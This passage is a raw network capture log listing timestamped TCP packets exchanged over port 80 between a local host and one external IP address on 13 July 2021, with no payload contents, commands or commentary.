Jul 13, 2021 14:37:53.457386017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457402945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457416058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.457448006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.457454920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457473040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457489014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457532883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.457582951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457601070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457638979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.457653046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457675934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457695007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457711935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457726955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.457741976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457762957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.457771063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457782984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.457850933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457869053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457890034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457899094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.457921028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.457946062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458010912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458029032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458046913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458064079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458077908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458081007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458100080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458137989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458148956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458168030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458184004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458218098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458255053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458271980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458288908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458322048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458327055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458359003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458359003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458404064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458421946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458442926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458451033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458462954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458479881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458491087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458512068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458525896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458583117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458600044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458616972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458640099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458647013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458678961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458698988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458769083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458786964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458805084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458822966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458844900 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458872080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458884954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458889961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458908081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458925009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458935976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.458944082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458961964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.458996058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459013939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459013939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459026098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459060907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459075928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459126949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459289074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459325075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459328890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459359884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459373951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459414959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459578991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459594965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459610939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459621906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459625959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459640026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459645033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459656000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459672928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459692001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459707975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459722996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459738016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459752083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459753036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459769964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459784985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459794998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459800005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459800959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459804058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459813118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459834099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459867001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459882975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459903002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459927082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459944010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459960938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.459974051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.459979057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460019112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460024118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460042000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460076094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460088015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460104942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460123062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460136890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460139990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460149050 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460155964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460170984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460177898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460186958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460199118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460202932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460238934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460252047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460254908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460278988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460304976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460331917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460372925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460388899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460403919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460418940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460427999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460452080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460484028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460491896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460508108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460524082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460539103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460545063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460556030 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460566998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460580111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460622072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460629940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460645914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460699081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460797071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460877895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460927963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.460966110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460979939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.460995913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461029053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461052895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461149931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461165905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461183071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461199999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461211920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461215019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461230040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461244106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461266994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461268902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461302042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461317062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461342096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461358070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461373091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461391926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461431026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461442947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461483002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461488008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461498976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461513042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461528063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461541891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461580038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461585999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461601973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461632013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461652994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461664915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461668968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461684942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461716890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461716890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461735010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461779118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461781025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461796045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461827040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461843014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461854935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461884022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461900949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461915016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461931944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461956978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.461966038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.461971998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462024927 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462033033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462074041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462074995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462090015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462105036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462146044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462160110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462165117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462204933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462215900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462280989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462286949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462300062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462316990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462331057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462346077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462373972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462383986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462388992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462393999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462474108 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462476969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462495089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462510109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462526083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462564945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462580919 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462593079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462596893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462598085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462603092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462656021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462723017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462752104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462765932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.462786913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462806940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.462902069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.471539974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.471637964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.471637964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.471721888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.471889019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.471905947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.471920967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.471944094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.471973896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.472101927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.472156048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.472421885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.472496033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.472553015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.472603083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.472619057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.472657919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.472671986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.472717047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.472742081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.472780943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.472791910 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.472810984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.472832918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.472851992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473351002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473367929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473382950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473403931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473408937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473418951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473424911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473439932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473472118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473479033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473483086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473495960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473521948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473531961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473537922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473614931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473617077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473670006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473685026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473686934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473704100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473715067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473736048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473778009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473793983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473809958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473829985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473835945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.473906040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473922014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473932028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.473946095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474004984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474021912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474028111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474104881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474126101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474143028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474159002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474174976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474180937 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474191904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474208117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474224091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474251986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474261045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474287987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474313021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474332094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474334955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474349022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474364996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.474379063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.474380970 CEST	80	49757	47.254.186.176	192.168.2.3
